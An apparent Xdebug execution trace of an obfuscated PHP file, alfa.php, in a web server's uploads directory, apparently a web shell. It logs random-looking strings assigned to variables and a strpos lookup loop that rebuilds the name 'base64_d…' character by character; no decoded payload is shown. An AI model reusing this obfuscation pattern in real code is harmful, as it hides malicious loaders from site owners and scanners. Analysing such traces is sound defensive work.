$str_rot13 = 'ibxlBBdAzLlZcvHnFrzVEASNUXEBbsZjSxUtxyTViEuKyAXCqxxuwqgqMjqNBqwtlrkIODcwgWfdVCFlyCFTRkIcuYQuNllYbwfpzHKFDpizRNjOpOIFYPIRNXkZIVXKQCypJiulWCjmOSbdGihdXpUklEjUYHdPiBdRixDFYlRmesqjAWnyLHIWlRqjySygTCxByZfxLxJPOyYpTLlEtTadjPMhIkNaMjBjJHfuDnIrkfFeRqhjihMSXyzeILeTUFdcLIVnWDFGiJjZZsIHzuYVRWZZHdSCJvdudZhzbMejUpItfqadiyZAvYzbCrckMgdpFKNGVrQQeyijnInwGMvajTBLKdVwjzKniWTeMiuRgbAujmpPYKpicPTMSpHBmQOUMhyzqRPwTppcbdrZmFHOTaBlphlaYAUjHthwjWsCLGdMiTkUySJRSjCGQNGnmZytsFPbbgcMlGXUzhOxZWnrFPwwbbJOBGgslvtMaVyMBvGZbTwbQiRvxnqYOzMpesHPmzBmTyyusDTuWOUlxLGTywRMUcayUgNgfnSYlrSDTLwpzqAVBgpybFjvhKSbQFhvtZudPlfiwCxurXPRDdPEhYypIPqYUxtmWlPkWUtswqMmmBDpdsskrPAyEpwylpjhZYRWtKnnZzALzdZbvrmkFlJIAEgLsPssnJnGtaTsZucXxBZrrlCVWKDwNiHFYyWLgJrzijqhcRfYseqIPrDLAGGmOMrlkmWQvMqEwFkXxqWnTLWhbYSaE';

Execution traces

data/traces/29a1bcf0c507e6e1cfc870f4a44e6ea7_trace-1676244285.8101.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:25:11.707890]
1	0	1	0.000217	393512
1	3	0	0.001784	891400	{main}	1		/var/www/html/uploads/alfa.php	0	0
1		A						/var/www/html/uploads/alfa.php	7	$b64x = 'MAEPFSwWXuruCgVkdkFvbbXQVpMqzXPKWtzCKVXgOnZqTVZWfEsGfpVAcHqadELawJCgdzMRlMGfHfbliSRNgMnIScJWGTWbCXHGVuWGfcLMhmxqendLzQSQSaMXThywEfBzYWfdyqpFbLvGyXQwNIleJYBbFYWjDxIBTmdrcswDCQizNyUZGgDpedPJbMsFIaFBMJsOANRCDZaPXVODbrrFufNURfYAFEArMRFlEwNGUnvRiiuJYjnsqAMGFjfJNfAYWeKaZWGtjbksJda'
1		A						/var/www/html/uploads/alfa.php	8	$dcrpt = 'vtZvENvOTeQHVwtmDBOcZNNMRysdCutXlRsPdlcWqsDLNwxqwktvYFgpCYseRjBcBsREctatLcDyyZnTjfOHjuWkRNOIxpjXfaBiTaaEdDBBCnUkShSbBnmSaAZWpjTuJUCCUCFxeGYfTSrMZimZwYrVzrSNAkgiEikYKpvpUSuOjjZIRlhmKyIiOZvNJawNifktuFgpXAcgjBPalWNVuvDITXUCyqpfvzXPEdDBdeHmFVmQRZMLTOtMMMpJccOWbMkFpNFsRLEwHRMXqXIjLAVWmJFOMTjmevRtHVkzGOuMeFjUCRdNRYJDhOQtgZFKTVCBQMzVashEXryYHBLyZUAghqznPDxIyYInLgIkzpOVFmtmmEjlXjRezPRNsnwPldCwKKfIYUDEgvqSYYeVhVZgLqTCDpspSTjCDqjCJlFpGugFskZAGzfQOYsRNiFecOGeDpfLAjZfDgjVQjUVIZLVxDMjLrNmFtRHHwtGGsliXvDOdxikVugtWsbgiPTN'
1		A						/var/www/html/uploads/alfa.php	9	$str_rot13 = 'YnWfOTWpUQSPOepsIMUhGagDmzncJmFgBaMOUhdnXVDMzrDgdxOiXukjtyMBkrHkQtYKAbyyxAJvQlCThPbeIlOajABuqiEfBbqbDmYZMHTCsvwzJWdsiRssrTkfBnkbpZCRlAqXGjAXdvWNrZEYQVPGnzLOMvqbURsfRIdWRcuuWqgMOjkdfzJSYTgKNwkHMDmcKqZaRtumhayVjIyOhGgfYmpLhZStbewLTUkjMEwtdTnNbkBiQHNOtbYAaQTbuOlmIwVTAQlcjYPkirtYxFMQGjqgaIHTwtgdnBwmsHqBFeLNUDkshWhmGWtGFAzASedFfzSxghXLlhYGKiXrFEDkZwqdvnEMtHryFiuLqrWbXUHgCdxgHzQfufjOumZltriXzCipseqpywUzzQGFpVKibtwvFwfxlnvKPDyggmUdIOCGEHksDvAdNwXSrcpCqilekKKrWEueRwKvcvlePlhbHetXghzwqjZBtirPlLTcGcWIximLTumAzeWFlvBC'
1		A						/var/www/html/uploads/alfa.php	10	$rENAh = 41
1		A						/var/www/html/uploads/alfa.php	10	$HBbEX = 'MRiTxMYfEUqlCcIAtmOSMWNBJNhdyYtjqBDMnBsrUgCwiKvBwithFFh'
1		A						/var/www/html/uploads/alfa.php	10	$zWSReQz = 'JmVEvUnDpesAwSyTNsMyRZfgrltPSmvaZPETKrwywOXrfwksNwpevTklfDaxpVynjBHtScRNQndvJnlWKBaEuKpYMPwAjT'
1		A						/var/www/html/uploads/alfa.php	10	$TGP = 'OSIGKS'
1		A						/var/www/html/uploads/alfa.php	10	$iqmGz = 'LmAMHXTCKTAGttccnIJZfsfhxJHQSYQDlqOsNhtWaTDtle'
1		A						/var/www/html/uploads/alfa.php	10	$tJ = 'BpytFgDYfWIwEMrMMkbVVgvdRwEiSzZtmxksDOqij'
1		A						/var/www/html/uploads/alfa.php	10	$hrt = 'RnwqGFgDYUUdJGcmLvJ'
2	4	0	0.001959	891400	gqGXfYe	1		/var/www/html/uploads/alfa.php	10	3	'nkCQJgI1Qi91Q'	41	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'
2		A						/var/www/html/uploads/alfa.php	64	$mJHJrDHY = 'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'
2		A						/var/www/html/uploads/alfa.php	64	$b64x = 'JqNWaRqYKgZFBpROXINvxaVUaRaUhasRqEmPUCmdJlhJZYxxfjRbJmWjDwdKwUaLXmZrpmuxyBfXYcudlKfvWBEzWgJRAJCxwBNKmGGLGLhdNBgzKLTHLxFgDnXcXYYtZkClQhwVsDYfdeEnqWUAtzHvNEWjDUbbeDmujJpBlmGPQJcfFwGxuMrgqmPsgQtKSfdbOsDzEINvspZwjetEQJKGWZxCPQmIvqiIhLgkuuekhEfsIyVYheEddaetqraKgisnuYXmRcxYGbqNAkLgqpjSPNkeeKpktfXMduyuwutBvIpUtZahOJzDxKgaTvKlBgxdAUyWnqWiXkcPKDwXLVAHFGHXBQjBWfExABSNQOvnzXCiAYfKTesXjyUKpDKKJpgipYvfmQtLNUTMsyVkCmHLkbVYEFIMtpuIMpmYeFJrYbCQzxAAjhLTifrlKyYDMskzGxWjBfZYganfyOegVPZDuqOENlgZdQXiMTSmyRKeSYJPlNVgcuiwJwZVIFuk'
2		A						/var/www/html/uploads/alfa.php	65	$dcrpt = 'lfHJpuauQzcjiVVXKpALllBqHrzPiiEuNLCbeDvubWDJRXHClgMWRnLydjnlRreEbGFFiAYKwCtnzzpkFagVNSuqBgBtWeWyLbCtaBCVCVIAuwKzxruJImziSzapExMOXnGXniSPDaPwwYuspObWAAFtyFgbBSpyFVUtDmhfmwaIvvaJIBfhAKZXOFZqxnmCIhUkuBPGXqnsKnARnFyNOyLDCjsZWEaFLupEuEjrTXhcKhTYMrLBnwDQFUpCXOGJhumBXWsQTYsDfkasbMspHUEMnSNkGStmlfnjbFzucRwibxZcIrROkvAXNMhtEafQftzGxXZzOvgqrfRYwINfDMcqYKhCKmRpFqUbntaBNgqEmhbIpnnRaPgYzpZIarWfGqGtIGuVNJzzQAGfOTWnJDLHrjqrALVgBCYiHsdTbbsRCYwPrSCZvmgkwwaWGWCgyAPEsSytUPJVmfjEXLcRXibSdBnjxpquPeYgxwYQKHLxlUaIeCzBLZtnagxxvmrj'
2		A						/var/www/html/uploads/alfa.php	66	$str_rot13 = 'NmgQhTvUKKMaJKEyCqTkITFCDrSKZmVlAbBguvaDeNDmWGLyWdJEWNfZDXibKdmjENqXhQZmcCYYIJWEMFhiRMHvjPwTSiCwVrSDgRpISmHZWcDhHjqyWWsfLnycwZXrq'
2		A						/var/www/html/uploads/alfa.php	67	$b64x = 'lWQRfExlwLmFcdRyYCYJfgzgDDSNmnEXjupPYkAuVMyXPPwmrTVxZUcbWUpIHSfQLueJEEDYPAWEpRqGjlCiFdjBxyidPntBgyJjBlirlEuAUKFdvGlZJUZFSHIHvBhBYrkzCtPmwJNqtRSNyDMGxLlOstVMTcNrtXQvPegkNtZFkRshudmqnXEfrzrJaDauZqnOTuygmWLxNddGGqwunZYdyplyslrradfUXcAjZkflNisTyNmklkNJYZGqKXHLAlexnEGMnkYBtqurCGaNQOwnNBExyKHYVLUIOavCkScEHwuibuVrhQEurHrprXMLifuwfnXQFZulvmTVGnLnDPHtwXgmvsXDyQYcDwSHvLsqXkKEXwrZKXtfvzRPrPROepQhKJOfTgURQEUOzkNiHFObEFqUTGIYVXFFftjZzdQPhKcGuPpaUcCyHRsByzYSwDxCvHBujQirAkxtzLStmuQTLHTIfrACtwdOcdHMTPCSzYkxicQvWfOHNHOsynTQ'
2		A						/var/www/html/uploads/alfa.php	68	$dcrpt = 'USZxxgPttkEFnOiVBJcdClJcKrfXCurWLrSixHaQRdUFRCZRlbUmNDqxuUTvNjQYZJgWqglHjflBIkstLmeypTuImMDAWtyvbErsjbYShJtptkgdxkbkEUtQHVqcnNWPQngzpERVMjjeTqHPahaEctuiNjKAwGpMtUkIXbcJLMmEbUuBBTecLYkyHUxcalOtfzadADlKpzOPShrSAUVksfhYAEbAPpsvNSXNvixJgkyyRnrriLaZQhYPlzOANgUBYrntZjBFUydLMTCuECtTjQiUpWuCCOcAePsdysJsQlDCEEvHFNAOEhIseCTfqvGuJxyhPGYFRBGUEaBjmAXqIfhlHarwVwPETMkhRJlIJRbnrCxccuSKYZveZLAuhPYABIHtrsAaibnYDKaeDSnbrIfQufjaUHZUqfMfxmFFNScqbCveUIFkQKajpkJiRIdGNPMjBrnnJPdjryNkFswvCwdQflZXTCDfQOOsfBenqhxHekrKCMEdIIumTSjmumRj'
2		A						/var/www/html/uploads/alfa.php	69	$str_rot13 = 'lVCJZTrpniBHrXKIkVCGqwhTDtdqQuDbpFjNyACkicrzzAGKviqLEWdhOGWEzzfNdOabOCLWdcUCCaLxibhMXKtlqppOnTarIAswbDREFkgGkRctsJFPtxahlpvziwpqVgLxJbanLGTWXwOpeSdXqdeBSAzavNqPTALCaMpLRIHOdVdHNGECjiCbhaBbnqQgpbipmWZdEgSgbvOnaRQjzsKGSkgfZxLnytCKqCNtIeAiYNwzElhDdSiVCPAClkPJEsSttFLajKiHxdfBqndtFLNgAmILxyTApLsHQdgzmOfjRlKgYmYDXkJXxRhupbTclLiBOpZACfJtQtZOFxQcIzZeqgydHRfTCnuPbTODYyWnqvBvRrxzPVdFbBIJRnbSaUgCNVektAXIuyclOYKdTmIvOPdeCEXDyDeLyIVQItYbQAmezxhRJplWDO'
2		A						/var/www/html/uploads/alfa.php	70	$b64x = 'NNwkdTUOdqsLgwadvNCfzOPBOVFgjAMWmhgPAAEEPvpWROzlabQApeAczeiIeVFQCLGcljfAduVUhvFiwvhjYgmyLUfPPjFRvKTftYFxRaryvwfqQMzpTkMEfrSuaxkvHDAZaEwREmqyIUmXHllAVxDaOvvnreIXIHxIKSZOEOLlIYjpJUnEsqeFKzSBDZXKGuSPMRDqepCMMkBUeOyVeCAnARnDQlMVeELQUNGYbHLNr'
2		A						/var/www/html/uploads/alfa.php	71	$dcrpt = 'lUYTiFnBxKcFqIpNXb'
2		A						/var/www/html/uploads/alfa.php	72	$str_rot13 = 'XCOVYBjJGUpVGkiwxsQqwCSmXxMveNZbPNwNNewSyjOeuWZQOpGjqyVmuIHyUfYJSUwfYrXxALathZjvppddlYrG'
2		A						/var/www/html/uploads/alfa.php	73	$XGBaGwiIx = 41
2		A						/var/www/html/uploads/alfa.php	73	$qqZuJGgI = 'JyCEEedPHwbDmiYGCKjwtTFMFbegQMvzKWCNAeCGacimKGslPBHIuluyMyeCKzBTVCfUHhBHjitupKFDkMkexECjcGklFLe'
2		A						/var/www/html/uploads/alfa.php	73	$BbN = 'TeViHxINlPkcPZEJZIHMhYIlmtarkKQdnL'
2		A						/var/www/html/uploads/alfa.php	73	$JuUBQApqyn = 'ktQOcSKdMbTLJcpcScRGlqaZXyAuIDnsVdFXvpAGrtrzVeBNHSSSHtrEQQxXSjONMujHIKmyCdWxhXK'
2		A						/var/www/html/uploads/alfa.php	73	$DCxjrEgB = 'YIsqmYuWqFBddaWOWHN'
2		A						/var/www/html/uploads/alfa.php	73	$i = 0
2		A						/var/www/html/uploads/alfa.php	73	$l = 13
3	5	0	0.002257	891592	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'n'
3	5	1	0.002277	891664
3	5	R			64
2		A						/var/www/html/uploads/alfa.php	73	$HnHS = 'prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh'
2		A						/var/www/html/uploads/alfa.php	73	$YrEXDaSY = 'bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE'
2		A						/var/www/html/uploads/alfa.php	73	$AsFUD = 'bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag'
2		A						/var/www/html/uploads/alfa.php	73	$qGnqPZl = 'AAPbpxhBb'
2		A						/var/www/html/uploads/alfa.php	73	$BlxuvRKrRA = 'NAsICVCZLsNaNaeulyvDcNsMe'
2		A						/var/www/html/uploads/alfa.php	73	$zXS = 'EsRHecSnKneKqFOfbGtjQh'
2		A						/var/www/html/uploads/alfa.php	73	$NwsfaNAe = 'amCEGOExWsmfmndZ'
3	6	0	0.002374	891592	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'n'
3	6	1	0.002393	891664
3	6	R			64
2		A						/var/www/html/uploads/alfa.php	73	$wREG[0] = 'b'
2		A						/var/www/html/uploads/alfa.php	73	$i++
3	7	0	0.002429	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'k'
3	7	1	0.002447	891704
3	7	R			21
2		A						/var/www/html/uploads/alfa.php	73	$HnHS = 'prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh'
2		A						/var/www/html/uploads/alfa.php	73	$YrEXDaSY = 'bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE'
2		A						/var/www/html/uploads/alfa.php	73	$AsFUD = 'bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag'
2		A						/var/www/html/uploads/alfa.php	73	$qGnqPZl = 'AAPbpxhBb'
2		A						/var/www/html/uploads/alfa.php	73	$BlxuvRKrRA = 'NAsICVCZLsNaNaeulyvDcNsMe'
2		A						/var/www/html/uploads/alfa.php	73	$zXS = 'EsRHecSnKneKqFOfbGtjQh'
2		A						/var/www/html/uploads/alfa.php	73	$NwsfaNAe = 'amCEGOExWsmfmndZ'
3	8	0	0.002542	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'k'
3	8	1	0.002561	891704
3	8	R			21
2		A						/var/www/html/uploads/alfa.php	73	$wREG[1] = 'a'
2		A						/var/www/html/uploads/alfa.php	73	$i++
3	9	0	0.002598	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'C'
3	9	1	0.002615	891704
3	9	R			65
2		A						/var/www/html/uploads/alfa.php	73	$HnHS = 'prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh'
2		A						/var/www/html/uploads/alfa.php	73	$YrEXDaSY = 'bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE'
2		A						/var/www/html/uploads/alfa.php	73	$AsFUD = 'bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag'
2		A						/var/www/html/uploads/alfa.php	73	$qGnqPZl = 'AAPbpxhBb'
2		A						/var/www/html/uploads/alfa.php	73	$BlxuvRKrRA = 'NAsICVCZLsNaNaeulyvDcNsMe'
2		A						/var/www/html/uploads/alfa.php	73	$zXS = 'EsRHecSnKneKqFOfbGtjQh'
2		A						/var/www/html/uploads/alfa.php	73	$NwsfaNAe = 'amCEGOExWsmfmndZ'
3	10	0	0.002709	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'C'
3	10	1	0.002726	891704
3	10	R			65
2		A						/var/www/html/uploads/alfa.php	73	$wREG[2] = 's'
2		A						/var/www/html/uploads/alfa.php	73	$i++
3	11	0	0.002758	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'Q'
3	11	1	0.002777	891704
3	11	R			54
2		A						/var/www/html/uploads/alfa.php	73	$HnHS = 'prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh'
2		A						/var/www/html/uploads/alfa.php	73	$YrEXDaSY = 'bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE'
2		A						/var/www/html/uploads/alfa.php	73	$AsFUD = 'bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag'
2		A						/var/www/html/uploads/alfa.php	73	$qGnqPZl = 'AAPbpxhBb'
2		A						/var/www/html/uploads/alfa.php	73	$BlxuvRKrRA = 'NAsICVCZLsNaNaeulyvDcNsMe'
2		A						/var/www/html/uploads/alfa.php	73	$zXS = 'EsRHecSnKneKqFOfbGtjQh'
2		A						/var/www/html/uploads/alfa.php	73	$NwsfaNAe = 'amCEGOExWsmfmndZ'
3	12	0	0.002871	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'Q'
3	12	1	0.002890	891704
3	12	R			54
2		A						/var/www/html/uploads/alfa.php	73	$wREG[3] = 'e'
2		A						/var/www/html/uploads/alfa.php	73	$i++
3	13	0	0.002922	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'J'
3	13	1	0.002941	891704
3	13	R			14
2		A						/var/www/html/uploads/alfa.php	73	$HnHS = 'prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh'
2		A						/var/www/html/uploads/alfa.php	73	$YrEXDaSY = 'bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE'
2		A						/var/www/html/uploads/alfa.php	73	$AsFUD = 'bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag'
2		A						/var/www/html/uploads/alfa.php	73	$qGnqPZl = 'AAPbpxhBb'
2		A						/var/www/html/uploads/alfa.php	73	$BlxuvRKrRA = 'NAsICVCZLsNaNaeulyvDcNsMe'
2		A						/var/www/html/uploads/alfa.php	73	$zXS = 'EsRHecSnKneKqFOfbGtjQh'
2		A						/var/www/html/uploads/alfa.php	73	$NwsfaNAe = 'amCEGOExWsmfmndZ'
3	14	0	0.003034	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'J'
3	14	1	0.003052	891704
3	14	R			14
2		A						/var/www/html/uploads/alfa.php	73	$wREG[4] = '6'
2		A						/var/www/html/uploads/alfa.php	73	$i++
3	15	0	0.003085	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'g'
3	15	1	0.003103	891704
3	15	R			60
2		A						/var/www/html/uploads/alfa.php	73	$HnHS = 'prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh'
2		A						/var/www/html/uploads/alfa.php	73	$YrEXDaSY = 'bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE'
2		A						/var/www/html/uploads/alfa.php	73	$AsFUD = 'bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag'
2		A						/var/www/html/uploads/alfa.php	73	$qGnqPZl = 'AAPbpxhBb'
2		A						/var/www/html/uploads/alfa.php	73	$BlxuvRKrRA = 'NAsICVCZLsNaNaeulyvDcNsMe'
2		A						/var/www/html/uploads/alfa.php	73	$zXS = 'EsRHecSnKneKqFOfbGtjQh'
2		A						/var/www/html/uploads/alfa.php	73	$NwsfaNAe = 'amCEGOExWsmfmndZ'
3	16	0	0.003202	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'g'
3	16	1	0.003221	891704
3	16	R			60
2		A						/var/www/html/uploads/alfa.php	73	$wREG[5] = '4'
2		A						/var/www/html/uploads/alfa.php	73	$i++
3	17	0	0.003253	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'I'
3	17	1	0.003271	891704
3	17	R			51
2		A						/var/www/html/uploads/alfa.php	73	$HnHS = 'prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh'
2		A						/var/www/html/uploads/alfa.php	73	$YrEXDaSY = 'bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE'
2		A						/var/www/html/uploads/alfa.php	73	$AsFUD = 'bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag'
2		A						/var/www/html/uploads/alfa.php	73	$qGnqPZl = 'AAPbpxhBb'
2		A						/var/www/html/uploads/alfa.php	73	$BlxuvRKrRA = 'NAsICVCZLsNaNaeulyvDcNsMe'
2		A						/var/www/html/uploads/alfa.php	73	$zXS = 'EsRHecSnKneKqFOfbGtjQh'
2		A						/var/www/html/uploads/alfa.php	73	$NwsfaNAe = 'amCEGOExWsmfmndZ'
3	18	0	0.003365	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'I'
3	18	1	0.003384	891704
3	18	R			51
2		A						/var/www/html/uploads/alfa.php	73	$wREG[6] = '_'
2		A						/var/www/html/uploads/alfa.php	73	$i++
3	19	0	0.003415	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'1'
3	19	1	0.003433	891704
3	19	R			17
2		A						/var/www/html/uploads/alfa.php	73	$HnHS = 'prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh'
2		A						/var/www/html/uploads/alfa.php	73	$YrEXDaSY = 'bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE'
2		A						/var/www/html/uploads/alfa.php	73	$AsFUD = 'bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag'
2		A						/var/www/html/uploads/alfa.php	73	$qGnqPZl = 'AAPbpxhBb'
2		A						/var/www/html/uploads/alfa.php	73	$BlxuvRKrRA = 'NAsICVCZLsNaNaeulyvDcNsMe'
2		A						/var/www/html/uploads/alfa.php	73	$zXS = 'EsRHecSnKneKqFOfbGtjQh'
2		A						/var/www/html/uploads/alfa.php	73	$NwsfaNAe = 'amCEGOExWsmfmndZ'
3	20	0	0.003525	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'1'
3	20	1	0.003543	891704
3	20	R			17
2		A						/var/www/html/uploads/alfa.php	73	$wREG[7] = 'd'
2		A						/var/www/html/uploads/alfa.php	73	$i++
3	21	0	0.003574	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'Q'
3	21	1	0.003592	891704
3	21	R			54
2		A						/var/www/html/uploads/alfa.php	73	$HnHS = 'prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh'
2		A						/var/www/html/uploads/alfa.php	73	$YrEXDaSY = 'bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE'
2		A						/var/www/html/uploads/alfa.php	73	$AsFUD = 'bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag'
2		A						/var/www/html/uploads/alfa.php	73	$qGnqPZl = 'AAPbpxhBb'
2		A						/var/www/html/uploads/alfa.php	73	$BlxuvRKrRA = 'NAsICVCZLsNaNaeulyvDcNsMe'
2		A						/var/www/html/uploads/alfa.php	73	$zXS = 'EsRHecSnKneKqFOfbGtjQh'
2		A						/var/www/html/uploads/alfa.php	73	$NwsfaNAe = 'amCEGOExWsmfmndZ'
3	22	0	0.003686	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'Q'
3	22	1	0.003710	891704
